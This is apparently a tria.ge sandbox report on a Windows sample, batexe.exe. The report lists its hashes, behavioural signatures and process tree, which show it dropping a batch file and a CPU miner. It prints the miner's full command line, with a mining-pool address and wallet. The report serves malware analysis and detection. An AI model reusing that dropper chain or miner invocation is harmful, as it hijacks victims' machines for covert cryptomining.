Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
298s -
max time network
304s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-ja -
resource tags
arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows -
submitted
12/02/2024, 15:09
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20231215-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20231215-ja
General
-
Target
batexe.exe
-
Size
9.4MB
-
MD5
cdc9eacffc6d2bf43153815043064427
-
SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
-
SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
-
SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
-
SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation batexe.exe Key value queried \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation b2e.exe -
Executes dropped EXE 2 IoCs
pid Process 3688 b2e.exe 904 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 904 cpuminer-sse2.exe 904 cpuminer-sse2.exe 904 cpuminer-sse2.exe 904 cpuminer-sse2.exe 904 cpuminer-sse2.exe -
resource yara_rule behavioral2/memory/4128-9-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4128 wrote to memory of 3688 4128 batexe.exe 83 PID 4128 wrote to memory of 3688 4128 batexe.exe 83 PID 4128 wrote to memory of 3688 4128 batexe.exe 83 PID 3688 wrote to memory of 4464 3688 b2e.exe 85 PID 3688 wrote to memory of 4464 3688 b2e.exe 85 PID 3688 wrote to memory of 4464 3688 b2e.exe 85 PID 4464 wrote to memory of 904 4464 cmd.exe 87 PID 4464 wrote to memory of 904 4464 cmd.exe 87
Processes
-
C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4128 -
C:\Users\Admin\AppData\Local\Temp\87CD.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\87CD.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\87CD.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3688 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8FCC.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:4464 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:904
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
14.6MB
MD51751248aa96e440e2db4719dc574d153
SHA16883875e9ccff3b1bdf65a82fdc9cabca903df77
SHA256d374c5d929a7a2dcee6007e4b00c8cc710e7bd4fd210d1c365337eb30b40d636
SHA5128f53e2f5a9becff71b529790a61bfe4d9b0c458e53537c720c924246348374fa89d7c0b89586a3b5a3d6371bd8f6b8f0abc96f0ae7caf3bf1ec3255a0fc8b45e
-
Filesize
2.4MB
MD5ee04099ca04456aa3ec3263fc8478095
SHA1dc89b1634e0fff0e8203cfcfe26600eb97514e7d
SHA25697d4085421fc14574d853c4bd8eef8f0a70aad1666fba5a51549d26abfc63dd3
SHA5126bbcf992e0a1d670a0e861ceefcc03bec5cd5b1f9082ccd4324cca368665b135d63a332cf76bea1ffbadb409078c83d8f31c02141c6d1d053c7ceb937b68531e
-
Filesize
2.1MB
MD5c65046109eeacc05c12e1d2d47bbcdce
SHA1f684b885a159684fdc5f276d2e97f1f62e656147
SHA2563de769cb77e6c4e7be2f7c2683b6e3a7f58f7cd8261f25cd14c868163a5f82fc
SHA512a0bd72ec5132d11f00120b161c4df1aa93f734dcf9d9b9bb1eda51f96a74a69276aaec7e8cf1fcb762362e887569ad4cb2dbd40aaf541141dfb1ffb7eb51d2dd
-
Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
-
Filesize
2.3MB
MD54c04147c386ba8792ac6a03069572a8a
SHA1dda67789fc1d0f2469ca95f01a5c81034853ca6a
SHA256c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd
SHA512a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db
-
Filesize
836KB
MD5aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA15e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA256218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
SHA512c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
-
Filesize
1.2MB
MD57cf672bee2afba2dcd0c031ff985958e
SHA16b82a205db080ffdcb4a4470fce85a14413f3217
SHA256c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05
SHA5123e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5
-
Filesize
3.8MB
MD5b0412c20fb83e346df76b3f1b9bed5ca
SHA1a1475bb8a5a027008744434b73a161d64bbb8fd9
SHA256a514e5c4a27af4ac25ceffa7b4bca873180ba349502467357a83e15bca4d97c7
SHA5120051757290a68b524fe7799082bc23f449191b9f54b885e22f5384042394ebbdce79b033960ab659ca1a58551fc7c5a6917491a8fcf70c7eae0ac6cf20d2a333
-
Filesize
3.9MB
MD5536e6e4961f932727cbcfeb0b3fee8d6
SHA1cb94299c6cfed5f057371abf81f41a51550eeba3
SHA256b04f4ba1b9647e21eb3d76fe3adf925a3cbee9633292d44d24b50f961d3e578f
SHA51219a9113ddc6711eb24ceca92a3f84d2cf0365b5f42ef592fbb8209523350fe281855db707be2be270ac37a949048f99a5a78c46e986623bc3b8a66304a3c4c17
-
Filesize
3.7MB
MD56bee9a848e9939006fa9ee52c5a448dd
SHA18cb7cec483e958d3a006c7d27ce4318bc8b0279d
SHA256454c131e56322dece9a90298ee4930ae1f2eaad0220b0e2fa6523298a4b9370a
SHA5121246c5dfdc5a82d6d26dcec013aa5cf0202d8733ffc0640e3e3fb2d5f55c31a80cfcb13a21d895da381d5372cf7965901372f62e68e5691898141287bb99d539
-
Filesize
606KB
MD5585efec1bc1d4d916a4402c9875dff75
SHA1d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA2562f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
SHA512b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770